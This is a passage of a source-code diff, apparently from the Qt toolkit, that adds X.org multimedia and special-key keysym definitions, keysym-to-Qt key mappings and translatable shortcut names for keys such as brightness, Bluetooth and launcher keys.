+        Key_AudioCycleTrack = 0x01000106,
+        Key_Time = 0x01000107,
+        Key_Hibernate = 0x01000108,
+        Key_View = 0x01000109,
+        Key_TopMenu = 0x0100010a,
+        Key_PowerDown = 0x0100010b,
+        Key_Suspend = 0x0100010c,
+        Key_ContrastAdjust = 0x0100010d,
 
         Key_MediaLast = 0x0100ffff,
 
diff --git a/src/gui/kernel/qkeymapper_x11.cpp b/src/gui/kernel/qkeymapper_x11.cpp
index 98ed61c..f55b491 100644
--- a/src/gui/kernel/qkeymapper_x11.cpp
+++ b/src/gui/kernel/qkeymapper_x11.cpp
@@ -714,47 +714,144 @@ extern bool qt_sm_blockUserInput;
 #define XK_KP_Delete            0xFF9F
 #endif
 
-// the next lines are taken from XFree > 4.0 (X11/XF86keysyms.h), defining some special
+// the next lines are taken on 10/2009 from X.org (X11/XF86keysym.h), defining some special
 // multimedia keys. They are included here as not every system has them.
-#define XF86XK_Standby          0x1008FF10
-#define XF86XK_AudioLowerVolume 0x1008FF11
-#define XF86XK_AudioMute        0x1008FF12
-#define XF86XK_AudioRaiseVolume 0x1008FF13
-#define XF86XK_AudioPlay        0x1008FF14
-#define XF86XK_AudioStop        0x1008FF15
-#define XF86XK_AudioPrev        0x1008FF16
-#define XF86XK_AudioNext        0x1008FF17
-#define XF86XK_HomePage         0x1008FF18
-#define XF86XK_Calculator       0x1008FF1D
-#define XF86XK_Mail             0x1008FF19
-#define XF86XK_Start            0x1008FF1A
-#define XF86XK_Search           0x1008FF1B
-#define XF86XK_AudioRecord      0x1008FF1C
-#define XF86XK_Back             0x1008FF26
-#define XF86XK_Forward          0x1008FF27
-#define XF86XK_Stop             0x1008FF28
-#define XF86XK_Refresh          0x1008FF29
-#define XF86XK_Favorites        0x1008FF30
-#define XF86XK_AudioPause       0x1008FF31
-#define XF86XK_AudioMedia       0x1008FF32
-#define XF86XK_MyComputer       0x1008FF33
-#define XF86XK_OpenURL          0x1008FF38
-#define XF86XK_Launch0          0x1008FF40
-#define XF86XK_Launch1          0x1008FF41
-#define XF86XK_Launch2          0x1008FF42
-#define XF86XK_Launch3          0x1008FF43
-#define XF86XK_Launch4          0x1008FF44
-#define XF86XK_Launch5          0x1008FF45
-#define XF86XK_Launch6          0x1008FF46
-#define XF86XK_Launch7          0x1008FF47
-#define XF86XK_Launch8          0x1008FF48
-#define XF86XK_Launch9          0x1008FF49
-#define XF86XK_LaunchA          0x1008FF4A
-#define XF86XK_LaunchB          0x1008FF4B
-#define XF86XK_LaunchC          0x1008FF4C
-#define XF86XK_LaunchD          0x1008FF4D
-#define XF86XK_LaunchE          0x1008FF4E
-#define XF86XK_LaunchF          0x1008FF4F
+#define XF86XK_MonBrightnessUp     0x1008FF02
+#define XF86XK_MonBrightnessDown   0x1008FF03
+#define XF86XK_KbdLightOnOff       0x1008FF04
+#define XF86XK_KbdBrightnessUp     0x1008FF05
+#define XF86XK_KbdBrightnessDown   0x1008FF06
+#define XF86XK_Standby             0x1008FF10
+#define XF86XK_AudioLowerVolume	   0x1008FF11
+#define XF86XK_AudioMute           0x1008FF12
+#define XF86XK_AudioRaiseVolume    0x1008FF13
+#define XF86XK_AudioPlay           0x1008FF14
+#define XF86XK_AudioStop           0x1008FF15
+#define XF86XK_AudioPrev           0x1008FF16
+#define XF86XK_AudioNext           0x1008FF17
+#define XF86XK_HomePage            0x1008FF18
+#define XF86XK_Mail                0x1008FF19
+#define XF86XK_Start               0x1008FF1A
+#define XF86XK_Search              0x1008FF1B
+#define XF86XK_AudioRecord         0x1008FF1C
+#define XF86XK_Calculator          0x1008FF1D
+#define XF86XK_Memo                0x1008FF1E
+#define XF86XK_ToDoList            0x1008FF1F
+#define XF86XK_Calendar            0x1008FF20
+#define XF86XK_PowerDown           0x1008FF21
+#define XF86XK_ContrastAdjust      0x1008FF22
+#define XF86XK_Back                0x1008FF26
+#define XF86XK_Forward             0x1008FF27
+#define XF86XK_Stop                0x1008FF28
+#define XF86XK_Refresh             0x1008FF29
+#define XF86XK_PowerOff            0x1008FF2A
+#define XF86XK_WakeUp              0x1008FF2B
+#define XF86XK_Eject               0x1008FF2C
+#define XF86XK_ScreenSaver         0x1008FF2D
+#define XF86XK_WWW                 0x1008FF2E
+#define XF86XK_Sleep               0x1008FF2F
+#define XF86XK_Favorites           0x1008FF30
+#define XF86XK_AudioPause          0x1008FF31
+#define XF86XK_AudioMedia          0x1008FF32
+#define XF86XK_MyComputer          0x1008FF33
+#define XF86XK_LightBulb           0x1008FF35
+#define XF86XK_Shop                0x1008FF36
+#define XF86XK_History             0x1008FF37
+#define XF86XK_OpenURL             0x1008FF38
+#define XF86XK_AddFavorite         0x1008FF39
+#define XF86XK_HotLinks            0x1008FF3A
+#define XF86XK_BrightnessAdjust    0x1008FF3B
+#define XF86XK_Finance             0x1008FF3C
+#define XF86XK_Community           0x1008FF3D
+#define XF86XK_AudioRewind         0x1008FF3E
+#define XF86XK_BackForward         0x1008FF3F
+#define XF86XK_Launch0             0x1008FF40
+#define XF86XK_Launch1             0x1008FF41
+#define XF86XK_Launch2             0x1008FF42
+#define XF86XK_Launch3             0x1008FF43
+#define XF86XK_Launch4             0x1008FF44
+#define XF86XK_Launch5             0x1008FF45
+#define XF86XK_Launch6             0x1008FF46
+#define XF86XK_Launch7             0x1008FF47
+#define XF86XK_Launch8             0x1008FF48
+#define XF86XK_Launch9             0x1008FF49
+#define XF86XK_LaunchA             0x1008FF4A
+#define XF86XK_LaunchB             0x1008FF4B
+#define XF86XK_LaunchC             0x1008FF4C
+#define XF86XK_LaunchD             0x1008FF4D
+#define XF86XK_LaunchE             0x1008FF4E
+#define XF86XK_LaunchF             0x1008FF4F
+#define XF86XK_ApplicationLeft     0x1008FF50
+#define XF86XK_ApplicationRight    0x1008FF51
+#define XF86XK_Book                0x1008FF52
+#define XF86XK_CD                  0x1008FF53
+#define XF86XK_Calculater          0x1008FF54
+#define XF86XK_Clear               0x1008FF55
+#define XF86XK_ClearGrab           0x1008FE21
+#define XF86XK_Close               0x1008FF56
+#define XF86XK_Copy                0x1008FF57
+#define XF86XK_Cut                 0x1008FF58
+#define XF86XK_Display             0x1008FF59
+#define XF86XK_DOS                 0x1008FF5A
+#define XF86XK_Documents           0x1008FF5B
+#define XF86XK_Excel               0x1008FF5C
+#define XF86XK_Explorer            0x1008FF5D
+#define XF86XK_Game                0x1008FF5E
+#define XF86XK_Go                  0x1008FF5F
+#define XF86XK_iTouch              0x1008FF60
+#define XF86XK_LogOff              0x1008FF61
+#define XF86XK_Market              0x1008FF62
+#define XF86XK_Meeting             0x1008FF63
+#define XF86XK_MenuKB              0x1008FF65
+#define XF86XK_MenuPB              0x1008FF66
+#define XF86XK_MySites             0x1008FF67
+#define XF86XK_News                0x1008FF69
+#define XF86XK_OfficeHome          0x1008FF6A
+#define XF86XK_Option              0x1008FF6C
+#define XF86XK_Paste               0x1008FF6D
+#define XF86XK_Phone               0x1008FF6E
+#define XF86XK_Reply               0x1008FF72
+#define XF86XK_Reload              0x1008FF73
+#define XF86XK_RotateWindows       0x1008FF74
+#define XF86XK_RotationPB          0x1008FF75
+#define XF86XK_RotationKB          0x1008FF76
+#define XF86XK_Save                0x1008FF77
+#define XF86XK_Send                0x1008FF7B
+#define XF86XK_Spell               0x1008FF7C
+#define XF86XK_SplitScreen         0x1008FF7D
+#define XF86XK_Support             0x1008FF7E
+#define XF86XK_TaskPane            0x1008FF7F
+#define XF86XK_Terminal            0x1008FF80
+#define XF86XK_Tools               0x1008FF81
+#define XF86XK_Travel              0x1008FF82
+#define XF86XK_Video               0x1008FF87
+#define XF86XK_Word                0x1008FF89
+#define XF86XK_Xfer                0x1008FF8A
+#define XF86XK_ZoomIn              0x1008FF8B
+#define XF86XK_ZoomOut             0x1008FF8C
+#define XF86XK_Away                0x1008FF8D
+#define XF86XK_Messenger           0x1008FF8E
+#define XF86XK_WebCam              0x1008FF8F
+#define XF86XK_MailForward         0x1008FF90
+#define XF86XK_Pictures            0x1008FF91
+#define XF86XK_Music               0x1008FF92
+#define XF86XK_Battery             0x1008FF93
+#define XF86XK_Bluetooth           0x1008FF94
+#define XF86XK_WLAN                0x1008FF95
+#define XF86XK_UWB                 0x1008FF96
+#define XF86XK_AudioForward        0x1008FF97
+#define XF86XK_AudioRepeat         0x1008FF98
+#define XF86XK_AudioRandomPlay     0x1008FF99
+#define XF86XK_Subtitle            0x1008FF9A
+#define XF86XK_AudioCycleTrack     0x1008FF9B
+#define XF86XK_Time                0x1008FF9F
+#define XF86XK_Select              0x1008FFA0
+#define XF86XK_View                0x1008FFA1
+#define XF86XK_TopMenu             0x1008FFA2
+#define XF86XK_Suspend             0x1008FFA7
+#define XF86XK_Hibernate           0x1008FFA8
+
+
 // end of XF86keysyms.h
 
 // Special keys used by Qtopia, mapped into the X11 private keypad range.
@@ -942,10 +1039,8 @@ static const unsigned int KeyTbl[] = {
     XK_dead_hook,               Qt::Key_Dead_Hook,
     XK_dead_horn,               Qt::Key_Dead_Horn,
 
-    // Special multimedia keys
-    // currently only tested with MS internet keyboard
-
-    // browsing keys
+    // Special keys from X.org - This include multimedia keys,
+	// wireless/bluetooth/uwb keys, special launcher keys, etc.
     XF86XK_Back,                Qt::Key_Back,
     XF86XK_Forward,             Qt::Key_Forward,
     XF86XK_Stop,                Qt::Key_Stop,
@@ -955,8 +1050,6 @@ static const unsigned int KeyTbl[] = {
     XF86XK_OpenURL,             Qt::Key_OpenUrl,
     XF86XK_HomePage,            Qt::Key_HomePage,
     XF86XK_Search,              Qt::Key_Search,
-
-    // media keys
     XF86XK_AudioLowerVolume,    Qt::Key_VolumeDown,
     XF86XK_AudioMute,           Qt::Key_VolumeMute,
     XF86XK_AudioRaiseVolume,    Qt::Key_VolumeUp,
@@ -965,13 +1058,106 @@ static const unsigned int KeyTbl[] = {
     XF86XK_AudioPrev,           Qt::Key_MediaPrevious,
     XF86XK_AudioNext,           Qt::Key_MediaNext,
     XF86XK_AudioRecord,         Qt::Key_MediaRecord,
-
-    // launch keys
     XF86XK_Mail,                Qt::Key_LaunchMail,
     XF86XK_MyComputer,          Qt::Key_Launch0,
-    XF86XK_Calculator,          Qt::Key_Launch1,
+    XF86XK_Calculator,          Qt::Key_Calculator,
+    XF86XK_Memo,                Qt::Key_Memo,
+    XF86XK_ToDoList,            Qt::Key_ToDoList,
+    XF86XK_Calendar,            Qt::Key_Calendar,
+    XF86XK_PowerDown,           Qt::Key_PowerDown,
+    XF86XK_ContrastAdjust,      Qt::Key_ContrastAdjust,
     XF86XK_Standby,             Qt::Key_Standby,
-
+    XF86XK_MonBrightnessUp,     Qt::Key_MonBrightnessUp,
+    XF86XK_MonBrightnessDown,   Qt::Key_MonBrightnessDown,
+    XF86XK_KbdLightOnOff,       Qt::Key_KeyboardLightOnOff,
+    XF86XK_KbdBrightnessUp,     Qt::Key_KeyboardBrightnessUp,
+    XF86XK_KbdBrightnessDown,   Qt::Key_KeyboardBrightnessDown,
+    XF86XK_PowerOff,            Qt::Key_PowerOff,
+    XF86XK_WakeUp,              Qt::Key_WakeUp,
+    XF86XK_Eject,               Qt::Key_Eject,
+    XF86XK_ScreenSaver,         Qt::Key_ScreenSaver,
+    XF86XK_WWW,                 Qt::Key_WWW,
+    XF86XK_Sleep,               Qt::Key_Sleep,
+    XF86XK_LightBulb,           Qt::Key_LightBulb,
+    XF86XK_Shop,                Qt::Key_Shop,
+    XF86XK_History,             Qt::Key_History,
+    XF86XK_AddFavorite,         Qt::Key_AddFavorite,
+    XF86XK_HotLinks,            Qt::Key_HotLinks,
+    XF86XK_BrightnessAdjust,    Qt::Key_BrightnessAdjust,
+    XF86XK_Finance,             Qt::Key_Finance,
+    XF86XK_Community,           Qt::Key_Community,
+    XF86XK_AudioRewind,         Qt::Key_AudioRewind,
+    XF86XK_BackForward,         Qt::Key_BackForward,
+    XF86XK_ApplicationLeft,     Qt::Key_ApplicationLeft,
+    XF86XK_ApplicationRight,    Qt::Key_ApplicationRight,
+    XF86XK_Book,                Qt::Key_Book,
+    XF86XK_CD,                  Qt::Key_CD,
+    XF86XK_Calculater,          Qt::Key_Calculator,
+    XF86XK_Clear,               Qt::Key_Clear,
+    XF86XK_ClearGrab,           Qt::Key_ClearGrab,
+    XF86XK_Close,               Qt::Key_Close,
+    XF86XK_Copy,                Qt::Key_Copy,
+    XF86XK_Cut,                 Qt::Key_Cut,
+    XF86XK_Display,             Qt::Key_Display,
+    XF86XK_DOS,                 Qt::Key_DOS,
+    XF86XK_Documents,           Qt::Key_Documents,
+    XF86XK_Excel,               Qt::Key_Excel,
+    XF86XK_Explorer,            Qt::Key_Explorer,
+    XF86XK_Game,                Qt::Key_Game,
+    XF86XK_Go,                  Qt::Key_Go,
+    XF86XK_iTouch,              Qt::Key_iTouch,
+    XF86XK_LogOff,              Qt::Key_LogOff,
+    XF86XK_Market,              Qt::Key_Market,
+    XF86XK_Meeting,             Qt::Key_Meeting,
+    XF86XK_MenuKB,              Qt::Key_MenuKB,
+    XF86XK_MenuPB,              Qt::Key_MenuPB,
+    XF86XK_MySites,             Qt::Key_MySites,
+    XF86XK_News,                Qt::Key_News,
+    XF86XK_OfficeHome,          Qt::Key_OfficeHome,
+    XF86XK_Option,              Qt::Key_Option,
+    XF86XK_Paste,               Qt::Key_Paste,
+    XF86XK_Phone,               Qt::Key_Phone,
+    XF86XK_Reply,               Qt::Key_Reply,
+    XF86XK_Reload,              Qt::Key_Reload,
+    XF86XK_RotateWindows,       Qt::Key_RotateWindows,
+    XF86XK_RotationPB,          Qt::Key_RotationPB,
+    XF86XK_RotationKB,          Qt::Key_RotationKB,
+    XF86XK_Save,                Qt::Key_Save,
+    XF86XK_Send,                Qt::Key_Send,
+    XF86XK_Spell,               Qt::Key_Spell,
+    XF86XK_SplitScreen,         Qt::Key_SplitScreen,
+    XF86XK_Support,             Qt::Key_Support,
+    XF86XK_TaskPane,            Qt::Key_TaskPane,
+    XF86XK_Terminal,            Qt::Key_Terminal,
+    XF86XK_Tools,               Qt::Key_Tools,
+    XF86XK_Travel,              Qt::Key_Travel,
+    XF86XK_Video,               Qt::Key_Video,
+    XF86XK_Word,                Qt::Key_Word,
+    XF86XK_Xfer,                Qt::Key_Xfer,
+    XF86XK_ZoomIn,              Qt::Key_ZoomIn,
+    XF86XK_ZoomOut,             Qt::Key_ZoomOut,
+    XF86XK_Away,                Qt::Key_Away,
+    XF86XK_Messenger,           Qt::Key_Messenger,
+    XF86XK_WebCam,              Qt::Key_WebCam,
+    XF86XK_MailForward,         Qt::Key_MailForward,
+    XF86XK_Pictures,            Qt::Key_Pictures,
+    XF86XK_Music,               Qt::Key_Music,
+    XF86XK_Battery,             Qt::Key_Battery,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_WLAN,                Qt::Key_WLAN,
+    XF86XK_UWB,                 Qt::Key_UWB,
+    XF86XK_AudioForward,        Qt::Key_AudioForward,
+    XF86XK_AudioRepeat,         Qt::Key_AudioRepeat,
+    XF86XK_AudioRandomPlay,     Qt::Key_AudioRandomPlay,
+    XF86XK_Subtitle,            Qt::Key_Subtitle,
+    XF86XK_AudioCycleTrack,     Qt::Key_AudioCycleTrack,
+    XF86XK_Time,                Qt::Key_Time,
+    XF86XK_Select,              Qt::Key_Select,
+    XF86XK_View,                Qt::Key_View,
+    XF86XK_TopMenu,             Qt::Key_TopMenu,
+    XF86XK_Bluetooth,           Qt::Key_Bluetooth,
+    XF86XK_Suspend,             Qt::Key_Suspend,
+    XF86XK_Hibernate,           Qt::Key_Hibernate,
     XF86XK_Launch0,             Qt::Key_Launch2,
     XF86XK_Launch1,             Qt::Key_Launch3,
     XF86XK_Launch2,             Qt::Key_Launch4,
diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..665c058 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -396,47 +396,139 @@ static const struct {
     { Qt::Key_Menu,         QT_TRANSLATE_NOOP("QShortcut", "Menu") },
     { Qt::Key_Help,         QT_TRANSLATE_NOOP("QShortcut", "Help") },
 
-    // Multimedia keys
-    { Qt::Key_Back,         QT_TRANSLATE_NOOP("QShortcut", "Back") },
-    { Qt::Key_Forward,      QT_TRANSLATE_NOOP("QShortcut", "Forward") },
-    { Qt::Key_Stop,         QT_TRANSLATE_NOOP("QShortcut", "Stop") },
-    { Qt::Key_Refresh,      QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
-    { Qt::Key_VolumeDown,   QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
-    { Qt::Key_VolumeMute,   QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
-    { Qt::Key_VolumeUp,     QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
-    { Qt::Key_BassBoost,    QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
-    { Qt::Key_BassUp,       QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
-    { Qt::Key_BassDown,     QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
-    { Qt::Key_TrebleUp,     QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
-    { Qt::Key_TrebleDown,   QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
-    { Qt::Key_MediaPlay,    QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
-    { Qt::Key_MediaStop,    QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
-    { Qt::Key_MediaPrevious,QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
-    { Qt::Key_MediaNext,    QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
-    { Qt::Key_MediaRecord,  QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
-    { Qt::Key_HomePage,     QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
-    { Qt::Key_Favorites,    QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
-    { Qt::Key_Search,       QT_TRANSLATE_NOOP("QShortcut", "Search") },
-    { Qt::Key_Standby,      QT_TRANSLATE_NOOP("QShortcut", "Standby") },
-    { Qt::Key_OpenUrl,      QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
-    { Qt::Key_LaunchMail,   QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
-    { Qt::Key_LaunchMedia,  QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
-    { Qt::Key_Launch0,      QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
-    { Qt::Key_Launch1,      QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
-    { Qt::Key_Launch2,      QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
-    { Qt::Key_Launch3,      QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
-    { Qt::Key_Launch4,      QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
-    { Qt::Key_Launch5,      QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
-    { Qt::Key_Launch6,      QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
-    { Qt::Key_Launch7,      QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
-    { Qt::Key_Launch8,      QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
-    { Qt::Key_Launch9,      QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
-    { Qt::Key_LaunchA,      QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
-    { Qt::Key_LaunchB,      QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
-    { Qt::Key_LaunchC,      QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
-    { Qt::Key_LaunchD,      QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
-    { Qt::Key_LaunchE,      QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
-    { Qt::Key_LaunchF,      QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    // Special keys
+    // Includes multimedia, launcher, lan keys ( bluetooth, wireless )
+    // window navigation
+    { Qt::Key_Back,                       QT_TRANSLATE_NOOP("QShortcut", "Back") },
+    { Qt::Key_Forward,                    QT_TRANSLATE_NOOP("QShortcut", "Forward") },
+    { Qt::Key_Stop,                       QT_TRANSLATE_NOOP("QShortcut", "Stop") },
+    { Qt::Key_Refresh,                    QT_TRANSLATE_NOOP("QShortcut", "Refresh") },
+    { Qt::Key_VolumeDown,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Down") },
+    { Qt::Key_VolumeMute,                 QT_TRANSLATE_NOOP("QShortcut", "Volume Mute") },
+    { Qt::Key_VolumeUp,                   QT_TRANSLATE_NOOP("QShortcut", "Volume Up") },
+    { Qt::Key_BassBoost,                  QT_TRANSLATE_NOOP("QShortcut", "Bass Boost") },
+    { Qt::Key_BassUp,                     QT_TRANSLATE_NOOP("QShortcut", "Bass Up") },
+    { Qt::Key_BassDown,                   QT_TRANSLATE_NOOP("QShortcut", "Bass Down") },
+    { Qt::Key_TrebleUp,                   QT_TRANSLATE_NOOP("QShortcut", "Treble Up") },
+    { Qt::Key_TrebleDown,                 QT_TRANSLATE_NOOP("QShortcut", "Treble Down") },
+    { Qt::Key_MediaPlay,                  QT_TRANSLATE_NOOP("QShortcut", "Media Play") },
+    { Qt::Key_MediaStop,                  QT_TRANSLATE_NOOP("QShortcut", "Media Stop") },
+    { Qt::Key_MediaPrevious,              QT_TRANSLATE_NOOP("QShortcut", "Media Previous") },
+    { Qt::Key_MediaNext,                  QT_TRANSLATE_NOOP("QShortcut", "Media Next") },
+    { Qt::Key_MediaRecord,                QT_TRANSLATE_NOOP("QShortcut", "Media Record") },
+    { Qt::Key_HomePage,                   QT_TRANSLATE_NOOP("QShortcut", "Home Page") },
+    { Qt::Key_Favorites,                  QT_TRANSLATE_NOOP("QShortcut", "Favorites") },
+    { Qt::Key_Search,                     QT_TRANSLATE_NOOP("QShortcut", "Search") },
+    { Qt::Key_Standby,                    QT_TRANSLATE_NOOP("QShortcut", "Standby") },
+    { Qt::Key_OpenUrl,                    QT_TRANSLATE_NOOP("QShortcut", "Open URL") },
+    { Qt::Key_LaunchMail,                 QT_TRANSLATE_NOOP("QShortcut", "Launch Mail") },
+    { Qt::Key_LaunchMedia,                QT_TRANSLATE_NOOP("QShortcut", "Launch Media") },
+    { Qt::Key_Launch0,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (0)") },
+    { Qt::Key_Launch1,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (1)") },
+    { Qt::Key_Launch2,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (2)") },
+    { Qt::Key_Launch3,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (3)") },
+    { Qt::Key_Launch4,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (4)") },
+    { Qt::Key_Launch5,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (5)") },
+    { Qt::Key_Launch6,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (6)") },
+    { Qt::Key_Launch7,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (7)") },
+    { Qt::Key_Launch8,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (8)") },
+    { Qt::Key_Launch9,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (9)") },
+    { Qt::Key_LaunchA,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (A)") },
+    { Qt::Key_LaunchB,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (B)") },
+    { Qt::Key_LaunchC,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (C)") },
+    { Qt::Key_LaunchD,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (D)") },
+    { Qt::Key_LaunchE,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (E)") },
+    { Qt::Key_LaunchF,                    QT_TRANSLATE_NOOP("QShortcut", "Launch (F)") },
+    { Qt::Key_MonBrightnessUp,            QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Up") },
+    { Qt::Key_MonBrightnessDown,          QT_TRANSLATE_NOOP("QShortcut", "Monitor Brightness Down") },
+    { Qt::Key_KeyboardLightOnOff,         QT_TRANSLATE_NOOP("QShortcut", "Keyboard Light On/Off") },
+    { Qt::Key_KeyboardBrightnessUp,       QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Up") },
+    { Qt::Key_KeyboardBrightnessDown,     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Brightness Down") },
+    { Qt::Key_PowerOff,                   QT_TRANSLATE_NOOP("QShortcut", "Power Off") },
+    { Qt::Key_WakeUp,                     QT_TRANSLATE_NOOP("QShortcut", "Wake Up") },
+    { Qt::Key_Eject,                      QT_TRANSLATE_NOOP("QShortcut", "Eject") },
+    { Qt::Key_ScreenSaver,                QT_TRANSLATE_NOOP("QShortcut", "Screensaver") },
+    { Qt::Key_WWW,                        QT_TRANSLATE_NOOP("QShortcut", "WWW") },
+    { Qt::Key_Sleep,                      QT_TRANSLATE_NOOP("QShortcut", "Sleep") },
+    { Qt::Key_LightBulb,                  QT_TRANSLATE_NOOP("QShortcut", "LightBulb") },
+    { Qt::Key_Shop,                       QT_TRANSLATE_NOOP("QShortcut", "Shop") },
+    { Qt::Key_History,                    QT_TRANSLATE_NOOP("QShortcut", "History") },
+    { Qt::Key_AddFavorite,                QT_TRANSLATE_NOOP("QShortcut", "Add Favorite") },
+    { Qt::Key_HotLinks,                   QT_TRANSLATE_NOOP("QShortcut", "Hot Links") },
+    { Qt::Key_BrightnessAdjust,           QT_TRANSLATE_NOOP("QShortcut", "Adjust Brightness") },
+    { Qt::Key_Finance,                    QT_TRANSLATE_NOOP("QShortcut", "Finance") },
+    { Qt::Key_Community,                  QT_TRANSLATE_NOOP("QShortcut", "Community") },
+    { Qt::Key_AudioRewind,                QT_TRANSLATE_NOOP("QShortcut", "Audio Rewind") },
+    { Qt::Key_BackForward,                QT_TRANSLATE_NOOP("QShortcut", "Back Forward") },
+    { Qt::Key_ApplicationLeft,            QT_TRANSLATE_NOOP("QShortcut", "Application Left") },
+    { Qt::Key_ApplicationRight,           QT_TRANSLATE_NOOP("QShortcut", "Application Right") },
+    { Qt::Key_Book,                       QT_TRANSLATE_NOOP("QShortcut", "Book") },
+    { Qt::Key_CD,                         QT_TRANSLATE_NOOP("QShortcut", "CD") },
+    { Qt::Key_Calculator,                 QT_TRANSLATE_NOOP("QShortcut", "Calculator") },
+    { Qt::Key_Clear,                      QT_TRANSLATE_NOOP("QShortcut", "Clear") },
+    { Qt::Key_ClearGrab,                  QT_TRANSLATE_NOOP("QShortcut", "Clear Grab") },
+    { Qt::Key_Close,                      QT_TRANSLATE_NOOP("QShortcut", "Close") },
+    { Qt::Key_Copy,                       QT_TRANSLATE_NOOP("QShortcut", "Copy") },
+    { Qt::Key_Cut,                        QT_TRANSLATE_NOOP("QShortcut", "Cut") },
+    { Qt::Key_Display,                    QT_TRANSLATE_NOOP("QShortcut", "Display") },
+    { Qt::Key_DOS,                        QT_TRANSLATE_NOOP("QShortcut", "DOS") },
+    { Qt::Key_Documents,                  QT_TRANSLATE_NOOP("QShortcut", "Documents") },
+    { Qt::Key_Excel,                      QT_TRANSLATE_NOOP("QShortcut", "Spreadsheet") },
+    { Qt::Key_Explorer,                   QT_TRANSLATE_NOOP("QShortcut", "Browser") },
+    { Qt::Key_Game,                       QT_TRANSLATE_NOOP("QShortcut", "Game") },
+    { Qt::Key_Go,                         QT_TRANSLATE_NOOP("QShortcut", "Go") },
+    { Qt::Key_iTouch,                     QT_TRANSLATE_NOOP("QShortcut", "iTouch") },
+    { Qt::Key_LogOff,                     QT_TRANSLATE_NOOP("QShortcut", "Logoff") },
+    { Qt::Key_Market,                     QT_TRANSLATE_NOOP("QShortcut", "Market") },
+    { Qt::Key_Meeting,                    QT_TRANSLATE_NOOP("QShortcut", "Meeting") },
+    { Qt::Key_MenuKB,                     QT_TRANSLATE_NOOP("QShortcut", "Keyboard Menu") },
+    { Qt::Key_MenuPB,                     QT_TRANSLATE_NOOP("QShortcut", "Menu PB") },
+    { Qt::Key_MySites,                    QT_TRANSLATE_NOOP("QShortcut", "My Sites") },
+    { Qt::Key_News,                       QT_TRANSLATE_NOOP("QShortcut", "News") },
+    { Qt::Key_OfficeHome,                 QT_TRANSLATE_NOOP("QShortcut", "Home Office") },
+    { Qt::Key_Option,                     QT_TRANSLATE_NOOP("QShortcut", "Option") },
+    { Qt::Key_Paste,                      QT_TRANSLATE_NOOP("QShortcut", "Paste") },
+    { Qt::Key_Phone,                      QT_TRANSLATE_NOOP("QShortcut", "Phone") },
+    { Qt::Key_Reply,                      QT_TRANSLATE_NOOP("QShortcut", "Reply") },
+    { Qt::Key_Reload,                     QT_TRANSLATE_NOOP("QShortcut", "Reload") },
+    { Qt::Key_RotateWindows,              QT_TRANSLATE_NOOP("QShortcut", "Rotate Windows") },
+    { Qt::Key_RotationPB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation PB") },
+    { Qt::Key_RotationKB,                 QT_TRANSLATE_NOOP("QShortcut", "Rotation KB") },
+    { Qt::Key_Save,                       QT_TRANSLATE_NOOP("QShortcut", "Save") },
+    { Qt::Key_Send,                       QT_TRANSLATE_NOOP("QShortcut", "Send") },
+    { Qt::Key_Spell,                      QT_TRANSLATE_NOOP("QShortcut", "Spellchecker") },
+    { Qt::Key_SplitScreen,                QT_TRANSLATE_NOOP("QShortcut", "Split Screen") },
+    { Qt::Key_Support,                    QT_TRANSLATE_NOOP("QShortcut", "Support") },
+    { Qt::Key_TaskPane,                   QT_TRANSLATE_NOOP("QShortcut", "Task Panel") },
